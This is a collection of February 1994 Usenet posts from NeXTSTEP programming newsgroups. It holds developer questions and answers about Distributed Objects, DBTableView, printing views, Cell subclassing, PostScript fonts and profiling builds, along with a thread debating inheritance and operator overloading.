From: mchenry@sj.ate.slb.com (Stephen McHenry) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 17 Feb 1994 18:09:41 GMT Organization: Schlumberger Technolgies Distribution: world Message-ID: <2k0bt5$9sq@k2.San-Jose.ate.slb.com> References: <1994Feb12.132341.12317@prim.demon.co.uk> <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CLA0GH.8CA@odin.corp.sgi.com> In article <CLA0GH.8CA@odin.corp.sgi.com>, tmh@darla.asd.sgi.com (Todd Hoff) writes: > Programs however cannot fail. Software cannot die. Clearly, you've never run any of the programs that I've written!! :-) (Sorry, we were taking ourselves too seriously again!!) > Failure of an organism is acceptable. It dies. > Failure of a species is acceptable. They all die. Another species > will evolve to fit the niche, perhaps with very different characterisitcs > than its unfit predecessor. > Failure of a program is (un)acceptable. It gets killed. Failure of a group of programs is (un)acceptable. They all get killed. Another group of programs will evolve to fit the niche, perhaps with very different characteristics than their unfit predecessors. Hmmm... Interesting... =============================================================================== Stephen McHenry | The very best Training & Consluting in... Advanced Software Technologies, inc.| Object Oriented Analysis and Design 305 Vineyard Town Center, Suite 251 | internet: stephen@softi.com Morgan Hill, CA 95037 | Phone: (408)776-2720; Fax: (408)847-6459 ===============================================================================
From: charlie@why.az.stratus.com (Charles_Spitzer) Newsgroups: comp.sys.next.programmer Subject: Async Distributed Objects Date: 17 Feb 1994 21:22:45 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2k0n76$a64@transfer.stratus.com> I have a situation where I have 2 processes cooperating using DO. I am using asynchronous calls from the client to the server. The server goes off and does some potentially long code, then calls the client back through the proxy that got sent to it in the initial call. It seems that if a second DO call comes in to the server, the proxy for the first one is lost. Has anyone found a way around this? Client code Server code [connection methodA:arg replyTo:self]; start doing methodA [connection methodB:arg replyTo:self]; return to main event loop [sender sendReplyA]; start doing methodB [sender sendReplyB]; What happens is that the client never gets into sendReplyA code, but only receives a sendReplyB. I know the connection and this type of code works for a single DO call, as if I comment out the client call to methodB, the client does actually get the sendReplyA. The requirement is that the Client can never block. Is there another way to do this, or do I have to invent a queuing mechanism so that there is at most 1 DO call going on at any one time? Thanks for any help or tips. -- Charles Spitzer charlie@snowflake.az.stratus.com Telecom Customer Assistance Center Stratus Computer, Inc. Phoenix, AZ 85018
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: Re: Anyone for Booch? Date: 17 Feb 1994 19:54:57 GMT Organization: the Borg Distribution: world Message-ID: <2k0i2h$1h7@theborg.stack.urc.tue.nl> References: <2jvc1u$1ch@steffi.demon.co.uk> In article <2jvc1u$1ch@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I've just received my copy of Booch's > > Object-oriented Analysis and Design with Applications 2nd Edition. > > Anybody in the NeXTSTEP community using this? I have read a part of it, it's so popular on our university that I couldn't keep it long enough to read it cover to cover. However the impression I got was that it is a very interesting book to get some backgrounds of the differences between several object-oriented paradigms and several OOP-like languages. (I mean Object Pascal and C++ can hardly be called "Object Oriented now, can they?) :-))) Especially the SmallTalk case study was very interesting. Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: fineman@cs.washington.edu (Lucifer Sam) Subject: Anyone have a proper xmkmf for NS3.2? Message-ID: <1994Feb18.005654.7065@beaver.cs.washington.edu> Sender: news@beaver.cs.washington.edu (USENET News System) Organization: Computer Science & Engineering, U. of Washington, Seattle Date: Fri, 18 Feb 94 00:56:54 GMT Subject says it all; i've got Co-Xist, but it didn't come with xmkmf; does anyone have/know of the proper script file? thanx dan fineman@cs.washington.edu ascii pleeeeze!
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Precompiled header file format? Message-ID: <1994Feb17.210209.3910@afs.com> Sender: Michael_Pizolato@afs.com References: <2jnok0$1ng@steffi.demon.co.uk> Date: Thu, 17 Feb 1994 21:02:09 GMT Robert Nicholson writes >So is it still best to only #include specific headers in this context? In .h files, only include exactly the headers you need. In .m files, include the most inclusive headers you can. For example: Foo.h: #import <objc/Object.h> @interface Foo:Object { } ... @end Foo.m: #import <appkit/appkit.h> @implementation Foo ... @end Do it this way because if your headers are included in a kit-type header that is precompiled, every header they include will wind up in the .p, so you want that to be as small as possible. In the .m, you want the compiler to pick up a .p if it's available, and it's usually only available for inclusive headers like appkit.h. Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted
From: xepo@csd4.csd.uwm.edu (Scott R Violet) Newsgroups: comp.sys.next.programmer Subject: Re: Creating a DBTableView from scratch Date: 18 Feb 1994 02:54:14 GMT Organization: Computing Services Division, University of Wisconsin - Milwaukee Distribution: usa Message-ID: <2k1akmINN638@uwm.edu> References: <1994Feb15.162832.679@parsec.mixcom.com> <1994Feb17.020438.3299@dolphin.com> In article <1994Feb17.020438.3299@dolphin.com> zac@dolphin.com writes: >Scott Violet writes >> >> HI all, >> I'm working on a project in which I need to know how to set >> the data source of a DBTableView. The documentation on this is pretty >> minimal. I'm wondering how IB does it in such a manner that the >> programmer doesn't have to do anything... > <long solution deleted> Thanks to all for the pointers on how to do this. What I was looking for was the following method. [aDBFetchGroup makeAssociationFrom:NULL to:aDBTableView]; This method will then cause the DBTableView to property update. The solution to this came from one of the mini examples off the NeXT Q&A's CD. -- -Scott Violet (xepo@csd4.csd.uwm.edu)
From: sj1@acpub.duke.edu (Stan Jirman) Newsgroups: comp.sys.next.programmer Subject: runInNewThread memory leak? Keywords: Distributed Objects, thread Message-ID: <2k1i29$7sb@news.duke.edu> Date: 18 Feb 94 05:00:57 GMT Organization: Duke University; Durham, N.C., USA Hello fellow developers, I have a problem with NXConnections. I create a new connection and then run it in a new thread. The code at the end of this post shows the server / client code, reduced as far as I could. The problem is that I get a 0.5MB leak each time I create such a server. I create a connection, the two objects talk to each other, the client dies & frees itself, then the server dies & frees itself. Later a new connection is created (with another name) and the whole procedure repeats itself. The funny part is that even though I get a 'nil' return value on [rserver free], which should mean that all references have been freed successfully and that the whole connection has actually been freed, the 0.5MB thread stack remains allocated. Also whe I check cthread_count(), the connection thread is still running. I also check (in the server free function) that the server itself is the only still valid reference (using remoteObjects and localObjects). Now when I create several of those Client / Server connections sequentially you can imagine what happens... So, can someone tell me whether there is sth wrong with my code? Any help is very much appreciated. I already spent many hours on this problem, and it really must be solved somehow. Thanks, Stan (Code below) ---------------------------------------------------------------------- "640K ought to be enough for anybody." -- Bill Gates '81 Stan Jirman sj1@acpub.duke.edu NeXTmail welcome sjirman@ee.duke.edu ---------------------------------------------------------------------- This is the code of the server object: -------------------------------------- + new { self = [super new]; rserver = [NXConnection registerRoot:self withName:rootname]; [rserver setDelegate:self]; [rserver runInNewThread]; return self; } - senderIsInvalid:sender { // do cleanup return self; } - connection:(NXConnection *)conn didConnect:(NXConnection *)newConn { [newConn registerForInvalidationNotification:self]; return newConn; } - free { [NXConnection removeObject:self]; rserver = [rserver free]; } And this is the code of the client: ----------------------------------- + newHub:(const char *)name { self = [super new]; server = [NXConnection connectToName:name]; return self; } - free { [NXConnection removeObject:self]; // a [server free] blocks - why, btw? return [super free]; }
Newsgroups: comp.sys.next.programmer From: bmiller@dreams.skidmore.edu (Brooke Miller) Subject: postscript font help needed! Message-ID: <1994Feb17.193815.26095@scott.skidmore.edu> Keywords: postscript font Sender: news@scott.skidmore.edu (news manager) Organization: Skidmore College, Saratoga Springs NY Date: Thu, 17 Feb 1994 19:38:15 GMT I'm trying to learn how to make a postscript font. I'm working from the Postscript Language Reference Manual (the second edition). I copied the program example 5.7 (page 282) into Yap, and it printed the letters without the correct font. How do I start to create a font? Can it be done through Yap, or do I need to use ProjectBuilder? Brooke Miller, Skidmore College bmiller@dreams.skidmore.edu (NeXT mail okay)
From: sdroll@troi.mathematik.uni-wuerzburg.de (Droll Sven) Newsgroups: comp.sys.next.programmer Subject: p2c -> graphics ??? Date: 18 Feb 1994 09:03:55 GMT Organization: University of Wuerzburg, Germany Distribution: world Message-ID: <2k209r$mkq@winx03.informatik.uni-wuerzburg.de> Hello world! Does anybody out there know, how I can use (simple) TURBO-PASCAL programms with graphics included and converted correctly by 'p2c' without problems on my NeXTstation? What and where is the header-file 'graph.h' used by the c-code-output of p2c? If you can help me, reply in comp.sys.next.programmer or send an e-mail to sdroll@wmax60.mathematik.uni-wuerzburg.de Thanks, Sven
From: campb001@willy.mc.duke.edu (Jim Campbell) Newsgroups: comp.sys.next.programmer Subject: multiple definitions of _exit in profile make Date: 18 Feb 1994 12:06:26 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <CAMPB001.94Feb18070627@willy.mc.duke.edu> I'm trying to do some profiling of an app built non-fat under intel 3.2. When I build using "make profile" I get the following error: ld: multiple definitions of symbol _exit /lib/gcrt0.o definition of _exit in section (__TEXT,__text) /lib/libsys_s.a(exit.o) definition of absolute _exit (value 0x50023f6) *** Exit 1 I don't get this error when running other make targets. In the past (under intel 3.1) when I've run into this I've gotten around it by passing -m to ld, as in: -m Don't treat multiply defined symbols as a hard error; Now when I try and run the resulting executable it dies. Inside gdb I see the following: (gdb) r Starting program: my_program Program generated(1): Memory access exception on address 0x0 (protection failure). 0x3c5c in _mh_execute_header () (gdb) bt #0 0x3c5c in _mh_execute_header () (gdb) Any ideas? thanks, Jim -- ------------------------------------------------------------------ Jim Campbell Senior Analyst Programmer Duke Univ. Med. Center Info. Systems Workstation Development Group campb001@mc.duke.edu
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb18.121328.1609@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <CL58Gu.2sC@csn.org> <1994Feb16.153525.8962@afs.com> Date: Fri, 18 Feb 1994 12:13:28 GMT In article <1994Feb16.153525.8962@afs.com> Greg_Anderson@afs.com writes: >In article <CL58Gu.2sC@csn.org> bediger@teal.csn.org (Bruce Ediger) >writes: >> dave@prim.demon.co.uk (Dave Griffiths) wrote: >> > It seems to me that creating a heirarchy of inheritance may not be >> > such a good idea. In fact it may do more harm than good. Inheritance >> > encourages sloppy programming. It's much harder to produce a general >> > solution than a particular one. Inheritance encourages a quick-fix >> > mentality, rather than improving the super class to make it more >> > flexible. >> >> On the whole, I agree with Dave Griffiths. For the most part, >> subclassing is part of the problem, not part of the solution. One >> level of subclassing is all that is useful, basically. Any more than >> that, and the complexity gets too much to handle. > >I rarely take fellow programmers to task for ideas, but this is a crock. It's called dialogue Greg. :-) I deliberately overstated the case to see what arguments could be thrown against it. It surprised me to find some measurement of agreement, especially with regard to the need for standard protocols. >Should TextFields only be two levels off Object? And if so, in the >following inheritance diagram, which class is compressible without >causing an explosion of additional classes for related functionality >in associated classes? > >Object -> Responder -> Control -> TextField That's easy. What's being muddled up here is the display and editing of text with response to user actions. Remember a lot of TextFields are used _just_ to display text! To come up with an alternative design is obviously a lot of work, but we can sketch out an alternative: Object -> View -> Text where this is a new Text object that doesn't encode/decode rtf (a separate function if ever there was one), and doesn't handle user events. It also (maybe) responds to a standard protocol - setStringValue:, etc. We then have a seperate object to handle the specific TextField responder stuff. Or maybe not, maybe the association of Return and Tab with target messages should be configurable at run-time? You can no doubt come up with all sorts of ifs and buts, but I bet I could refine this approach to counter them. :-) I don't know about an "explosion" of classes, but if they're easy to plug together, so what? >This is not too complex for me. In fact, AFS has extended this (among >other ways): > >TextField -> NumberField -> PriceField > >where validation and formatting rules, etc get progressively tighter, >while preserving the essence of everything underneath. Interesting. I don't see why validation (for example) should _necessarily_ be bundled up with the same class that's actually displaying the data. Validation could be done externally. If you used a well-defined protocol this could also have the advantage that you could plug your validation module together with some other TextField type class. As it stands, you've "lost" the re-usability to other classes of your validation functionality by using inheritance. Maybe keystroke events could be passed through a chain of filter objects, all of which have an error delegate. If you want NumberField to "beep" when a non-number is entered, you just bung in your number filter which when it finds a non-number, doesn't pass the event along but messages it's error delegate instead. Just a thought. There's more than one way to skin a cat. Flame away Greg. :-) Dave Griffiths
Newsgroups: comp.sys.next.programmer From: mzeller@gwdu03.gwdg.de (Meinrad Zeller) Subject: Re: Is inheritance a good idea? Message-ID: <T04LBUTS@gwdu03.gwdg.de> Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <1994Feb16.160308.1645@afs.com> Date: Fri, 18 Feb 1994 12:27:56 GMT Michael Pizolato (Michael_Pizolato@afs.com) wrote: : Bruce Ediger writes : [snip] : >I predict that in 5 years or so, multiple inheritance, operator : >overloading and deep levels of subclassing will all attain a status : >similar to that of the "goto": something that can be done, but : >mostly shouldn't be. : Doubful, mostly for reasons others have eloquently stated. However, : regarding operator overloading, it is much more than syntactic : sugar, it is core to programming at any level above assembler. You : (_you_, who are reading this _right_now_) already use it in every : program you write. One of the simplest examples: the multiplication : symbol (*) is overloaded for char, int, float, and double, _in_C_ : (let me repeat that, IN C, and in every other high-level language : that ever was). Multiplication is, in the processor, fundamentally : different for different numeric types, yet all these operations are : represented by one symbol in the language. You are absolutely right on this issue : every language has operator overloading in this sense. : Objective-C has operator overloading in the sense that method names : can be the same yet behave differently. That's not enough. Smalltalk I think this is not called operator overloading, but polymorphism. (Correct me if I'm wrong) : allows overloading primitive operators for new classes. You can : define the '*' operator to do matrix multiplication if you create : a matrix class. Why not? I learned to multiply matricies using : the same multiplication operator I use for numbers. : Why does this matter? Because conceptually that's how humans : understand multiplication. I don't think about the fact that '*' : is overloaded, I just know that I can multiply numbers. It's an : abstraction, and that's what high-level languages, and OOP in : particular, are supposed to be so good at. I don't agree here. Lets do a small analysis of the problem here. Where does operator overlaoding come from? From mathematics. In math operators, symbols etc. are overloaded all the time. Being a mathemtician I also know that you have to be very careful with this overloading since the meaning of the symbol/operator depends on the context and YOU HAVE TO BE AWARE OF THE CONTEXT ALL THE TIME YOU"RE USING THIS NOTATION. Actually mathemticians are very careful persons and care about these issues. Any operator defined in math first gets its own symbol belonging to a certain context. Usaually the operator gets an index of the set its acting on. later, when its clear what set and operator is used, mathematicians get very lazy and drop the index. This is both good and bad. It's good in the sense that formulas don't look too complicated. It's bad in the sense that if you have a look at the formula without knowing the context, you might get on the wrong track. This is one of the sources, why math is difficult. And it is often not easy to understand the new meaning of a symbol in a new context. So lets get back to programming languages. Here applies the same as in math. You have to be aware of the context all the time when using overloaded operators. So the more overloading an operator has, the more difficult it is to know all the different meanings. The more sources for bugs you get. I think it would be great if you could do an operatoroverlaoding with indices, where you have indicators which operator you are actually using. Combined with RTTF-source code this might be a nice feature (may be we'll have s.th. like that 10 years from now). But I don't think its really necessary. Programming is really difficult. Operator overloading makes it even more difficult. It might be nice sometimes, but in general it's just another source for problems. I'm already having problems with the "natural" overloading of the '*' operator in C. When using mixed types like unsigned char, shorts, ints, floats etc. with this operator you have to be very careful. This problem generated many hours of work and lots of casts when I switched from a float data type to a short data type in one of my programs some time ago. And there are no compiler warnings available here. I can live with this kind of operator overlaoding but I don't want to see more - its just a source for trouble. : Isn't OOP supposed to give us the greatest conceptual tool yet : available to the programmer? Are we not supposed to be able to : conceive of programs at a level that maps very closely to the way : we view the world? Then why is the above kind of overloading missing : in Objective-C? Why can't I define '*' if it makes sense for my : object? This is : There is no justifiable reason not to have full operator overloading : in _any_ programming language. See above. Operator overloading doesn't make (programmers) life easier, only source code nicer. : P.S. This doesn't mean I'd rather use C++, though. ;-) : -- : Michael_Pizolato@afs.com : NeXTMail accepted My 2 cents. Meinrad -- Meinrad Zeller Foehrenweg 1 D-37077 Goettingen Tel.: +49-551-300095 Email: mzeller@gwdg.de
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: gcc, tk, IB ? Message-ID: <1994Feb17.235240.6979@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2k0eg7$7ee@zip.eecs.umich.edu> Date: Thu, 17 Feb 1994 23:52:40 GMT In article <2k0eg7$7ee@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: >>I want to get the latest version of gcc and tk and Andrew McCallum's >>(mccallum@cs.rochester.edu) tk-objc library and get this up and running on >>both a NeXT (with co-Xist) and a Sparc for the purpose of cross-development. >>Any words of advice before I set out downloading and compiling? >> >>Does anyone have any experience with Michael Johnson's (wave@media.mit.edu) >>WaveWorld stuff? Specifically, can one develop TK interfaces in IB and then >>port them to a pure X environment? >> I actually sketched out a spec for doing this this summer; given a mapping between the UI objects in IB and the widgets in Tk, it is trivial. Given that Tk compatibility was not high on my current TODO list, it would take a bit of work. I'd be happy to discuss this, but I don't expect to do any work on this any time soon, as I've decided to wait for NS on my HP 735 rather than port my stuff over to OpenGL/Tk on my Indigo^2 Extreme... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: RPC Date: 18 Feb 1994 13:44:38 GMT Organization: Technical University Vienna, Austria Message-ID: <2k2go6$kb8@email.tuwien.ac.at> Hallo, I am developing an application, which will use RPC on a AIXR6000 from my NeXT. I have no idea, how I can do this. I don't think, that I can use the Speaker/Listener classes to handle this problem. Is there anybody who has an example code, how I can solve this problem? Salute Suessner Michael
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 18 Feb 1994 14:49:46 -0000 Organization: me organized? That's a joke! Message-ID: <2k2kia$107@steffi.demon.co.uk> References: <1994Feb16.160308.1645@afs.com> <T04LBUTS@gwdu03.gwdg.de> mzeller@gwdu03.gwdg.de (Meinrad Zeller) wrote in comp.sys.next.programmer >You are absolutely right on this issue : every language has >operator overloading in this sense. > >: Objective-C has operator overloading in the sense that method names >: can be the same yet behave differently. That's not enough. Smalltalk > >I think this is not called operator overloading, but polymorphism. >(Correct me if I'm wrong) I think the main point about _operator_ overloading is that of changing the meaning of a _predefined_ symbol depending on its context. >Programming is really difficult. Operator overloading makes it even >more difficult. It might be nice sometimes, but in general it's just another >source for problems. Hear Hear, C++ is complicated further due to operator overloading. ie. to successfully build functional operators we must make use of even more features of the language. IMHO: This is the only area in C++ that friend functions are appropriate. Unforunately, they are used in other areas. Friend functions are necessary when you want to support operator overloading when the type of the left operator isn't an object. The classical example. is the cout << stringObject without friend functions you can only provide stringObject << cout which is the wrong. Here it is necessary for it to be a "friend" function because the << operator function requires access to internals of stringObject. another common example is "literal" + stringObject -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Box with colored background Message-ID: <1994Feb17.194506.2088@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <CLCADn.E74@usenet.ucs.indiana.edu> Date: Thu, 17 Feb 1994 19:45:06 GMT Will someone from NeXT or the net please answer this? A few people have asked this question including myself on the next-prog mailing list and via private e-mail and we haven't received a straight answer. The thorny part seems to be that if you subclass Box, swap the content view out with your own View subclass, and put it in a palette, Interface Builder's IBBoxEditor malfunctions. Robert La Ferla Hot Technologies NEXTSTEP ISV In article <CLCADn.E74@usenet.ucs.indiana.edu> cordero@bronze.ucs.indiana.edu ( Manuel Cordero ) writes: > I know I can write a subclass of box to get > what I need, but I thought I'd ask first to > see if someone else already has done this > and is willing to share.... > > All I want is a box which I can change the > background color of. I prefer to be able to > use any color, but would be satisfied with > different shades of gray. > > Any help would be greatly appreciated! > > cordero@bronze.ucs.indiana.edu
From: sean@alpine.com (Sean Luke) Newsgroups: comp.sys.next.programmer Subject: Crud: The question Date: 17 Feb 1994 10:26:45 -0800 Organization: Disorganization Message-ID: <2k0ct5$6tl@magnusson.alpine.com> I posted a rather large article here on Crud, a macro language I'm working on. Before I repost the article (I don't think it got out), I thought I'd ask if anyone saw it...my server's, um, less than stable. Thanks! Sean -- +-------------------------------------------------------------+ | Sean Luke milk:-cows. | | sean@digaudio.byu.edu (if (cows) 'milk) | | if only I spoke for Alpine... [milk set:[cows val]]; |
Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd) Subject: Priority threshold of DPSAddNotifyPortProc() ? Message-ID: <CLFK94.7z4@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Fri, 18 Feb 1994 17:22:15 GMT Anyone have a definitive answer to: what is the priority threshold used for DPSAddNotifyPortProc() ? Since I am supposed to replace my DPSAddPort(task_notify(),...) with a DPSAddNotifyPortProc(), it would be nice if it worked the same as always. The documentation makes no reference to the priority used. Thanks, -- :: Christopher Lloyd :: Yrrid, Inc. :: lloyd@yrrid.com lloyd@world.std.com :: :: If I had known it was harmless, I would have killed it myself ::
Newsgroups: comp.sys.next.programmer From: lamb@eqt.ch (Alexander Lamb) Subject: Using the DBTableView for non-database apps. Message-ID: <CLFK8C.1JH@eunet.ch> Keywords: dbkit, dbtableview Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland Date: Fri, 18 Feb 1994 17:21:47 GMT Hello world, I've been wondering for some time if it was a "good" idea (in terms of design and stability) to use the DBTableView for non - dbkit apps. I've seen (and succesfully used) the Indexing Kit example where it is explained. Therefore has someone an opinion on the following points : 1. Is it risky (now we know a DBKit2 will come out soon) to use the DBTableView in a non standard way (we know of course that DBKit2 will be compatible with DBKit1 one, but only if we follow the guidlines...). 2. Does it seem a good idea to use the DBTableView to display and browse through long lists of data (for a statistical app), where we would dynamically load or unload columns of figures (a bit like using a spreadheet). 3. I like the lazy drawing principle of the DBTableView as well as the ability to scroll horizontally. It would make sense for NeXT to provide a "generic" DBTableView working with a data source that we can define more freely than currently in the DBKit. 4. I have managed to create programmatically a DBTableView using column headers AND line headers (spreadsheet like). But I didn't find the way to change the font or size of the line titles or the line height. A mini example on this point would be welcomed ! Many thanks, Alexander Lamb Expert Quantitative Trading Geneva / Switzerland
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Strange things while printing... Help please! Message-ID: <ARROUYE.94Feb18173205@petole.imag.fr> Sender: news@imag.fr Organization: LGI-IMAG, Grenoble, France Date: Fri, 18 Feb 1994 16:32:03 GMT Hi, I have a really strange problem while printing a view. The view has to generate a bitmap of itself and print it because it uses some informations that will not be available in the printer. What I wanted to use was something like: - drawSelf:(const NXRect*)rects :(int)rectCount { if (!rects || !rectCount) return self; if (NXDrawingStatus == NX_PRINTING) { // Fixes a bug in printing id pimage = [[NXImage alloc] initSize:&frame.size]; [pimage useCacheWithDepth:NX_DefaultDepth]; [pimage lockFocus]; // Draw the view here [pimage unlockFocus]; [pimage composite:NX_COPY toPoint:&physicalRect.origin]; [pimage free]; } else { int backType = wins.winList ? BACK_YES : BACK_NOPORT; int i; for (i = rectCount / 2; i < rectCount; ++i) { NXRectClip(&rects[i]); // Draw the correct view portion here } } return self; } Doing this, however, result in an access violation in View(Printing)'s endPSOutput method. On the other hand, if I put the pimage initialization in another method that is called *before* the window's printPSCode: method is called, and if the drawSelf:: method only composites the image, it is working fine: static id pimage; // Quick and dirty, just to test - windowWillPrint:sender { pimage = [[NXImage alloc] initSize:&frame.size]; [pimage useCacheWithDepth:NX_DefaultDepth]; [pimage lockFocus]; // Draw the view here [pimage unlockFocus]; return self; } - drawSelf:(const NXRect*)rects :(int)rectCount { if (!rects || !rectCount) return self; if (NXDrawingStatus == NX_PRINTING) { // Fixes a bug in printing [pimage composite:NX_COPY toPoint:&physicalRect.origin]; [pimage free]; } else { int backType = wins.winList ? BACK_YES : BACK_NOPORT; int i; for (i = rectCount / 2; i < rectCount; ++i) { NXRectClip(&rects[i]); // Draw the correct view portion here } } return self; } I suspect this may be a problem with the lockFocus/unlockFocus on the image, but I am not sure because I thought that you can say [aObj lockFocus]; ... [bObj lockFocus]; ... [bObj unlockFocus]; ... [aObj unlockFocus]; without any problem. Any idea/solution welcome! Thanks, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: montyb@avalon.enet.dec.com (Monty Brandenberg) Message-ID: <9402181827.AA26462@enet-gw.pa.dec.com> Subject: Serial line: 8bit + parity on black hardware Date: Fri, 18 Feb 94 10:27:34 PST id AA26462; Fri, 18 Feb 94 10:27:34 -0800 I know that this has been discussed in the past, probably in the '*(*&( serial device driver' thread but I've lost the details. I need to set up a serial line on black hardware as 8-bits of data plus real parity (odd in this case) and all man pages suggest that it won't happen. Now the 8530's are capable of this if I recall correctly but can I get this mode via some series of ioctl's or private messaging protocol? If not, has anyone tried a loadable kernel service to throw the device into the correct mode in the hope that the ISR will do something useful with the data? Feel free to expand the discussion to include white hardware and future releases.... Monty
From: gary@nd.com (Gary Lynn) Newsgroups: comp.sys.next.programmer Subject: Global Search and Replace Utility Date: 18 Feb 1994 18:45:39 GMT Organization: University of Florida College of Engineering Distribution: world Message-ID: <2k32cj$kjc@bigguy.eng.ufl.edu> Keywords: utility submission Within our company, we found a need to perform a global search and replace operation on an entire project. There probably is already a utility out there somewhere, but it seemed easier just to write one from scratch. For anyone who might have the same need, I have submitted the source to /pub/next/submissions/SearchAndReplace.tar.Z at sonata.cc.purdue.edu. I don't claim that it is very elegant, but it seems to get the job done. As I state in the README file: Use at your own risk! I have attached a summary below. Hope it is of use to some of you... Gary Lynn NeuroDimension, Inc ----------------------------------------------- Search and Replace --------------------------- Search and Replace is a simple (but powerful) utility which gives one the ability to search an entire directory for the occurances of a string, and replace those occurrences with another string. Furthermore, this directory can be traversed recursively, giving one the ability to do a search and replace operation on an entire sub-tree. Other features include: - The ability to include only those files with a specified extension (file type). - The ability to exclude those files of a specified extension. - The ability to rename the files based on the search and replace criteria given.
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: Troubles with initializing Cell instance Date: 18 Feb 1994 13:22:12 GMT Organization: the Borg Distribution: world Message-ID: <2k2fe4$17c@theborg.stack.urc.tue.nl> Hello, Yesterday, I was happily hacking away until suddenly disaster struck. What happened? I was creating a subclass of Cell called NeXTLinkCell which is used to support links as used in Edit. Despite some problems the object worked and suddenly after some more hacking, initializing super didn't do what it used to do before. Here's some code from NeXTLinkCell.h: #define NEXTLINKCELLRTFDIRECTIVE "\NeXTHelpLink" @interface NeXTLinkCell:Cell { id linkImage; id linkHImage; BOOL highlighted; const char *linkIcon; const char *markerName; const char *linkFileName; const char *linkMarkerName; } .. and from NeXTLinkCell.m: #define CLASSVERSION 0 #define CLASSNAME "NeXTLinkCell" #define NXLINKBUTTON "NXLinkButton" #define NXLINKBUTTONH "NXLinkButtonH" @implementation NeXTLinkCell + initialize <deleted to save precious bandwidth> - init { return [self initIconCell:NXLINKBUTTON]; } - initIconCell:(const char *)iconName { if (self = [super initIconCell:iconName]) // What's going wrong here? { // The following shows that [super icon] generates a null pointer, // and before something changed (but not in this part of my code) // it worked fine? NXLogError("The name of the icon in super: %s",[super icon]); linkImage = [[NXImage findImageNamed:NXLINKBUTTON] copyFromZone:[self zone]]; [linkImage setFlipped:YES]; /* because it will be drawn in a Text View */ [self setIcon:NXLINKBUTTON]; highlighted = NO; linkHImage = [[NXImage findImageNamed:NXLINKBUTTONH] copyFromZone:[self zone]]; [linkHImage setFlipped:YES]; /* because it will be drawn in a Text View */ [super setContinuous:NO]; return self; } else { NXLogError("Could not initialize super class of a %s instance.", CLASSNAME); return nil; } } .. I have teared out some of my hair out of frustration but I couldn't find what I have broken. People with a clear mind are cordially invited to give their opinion and advise so I can sleep this evening... Thanks! Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: postscript font help needed! Message-ID: <1994Feb18.190602.16226@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <1994Feb17.193815.26095@scott.skidmore.edu> Date: Fri, 18 Feb 1994 19:06:02 GMT Brooke Miller writes > I'm trying to learn how to make a postscript font. I'm working > from the Postscript Language Reference Manual (the second > edition). I copied the program example 5.7 (page 282) into > Yap, and it printed the letters without the correct font. How > do I start to create a font? Can it be done through Yap, or > do I need to use ProjectBuilder? I tried the example from the Red Book, and it does work under DisplayTalk. Check spelling and capitalization. The example does indeed create a valid Type 3 font. I'm running 3.2, although that shouldn't affect the example. PostScript code is all that is needed, you won't need Project Builder at all. When you've got a font working within Yap or DisplayTalk, you can turn it into a wrap for use in any programs; see the pswrap Reference Manual. Creating a Type 1 font is a little bit more work. You should try and find a font creation program, writing one by hand is nearly impossible. If you wish to create one of these, you will need to get the "Adobe Type 1 Font Format" book. I don't have the ISBN number for that one. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
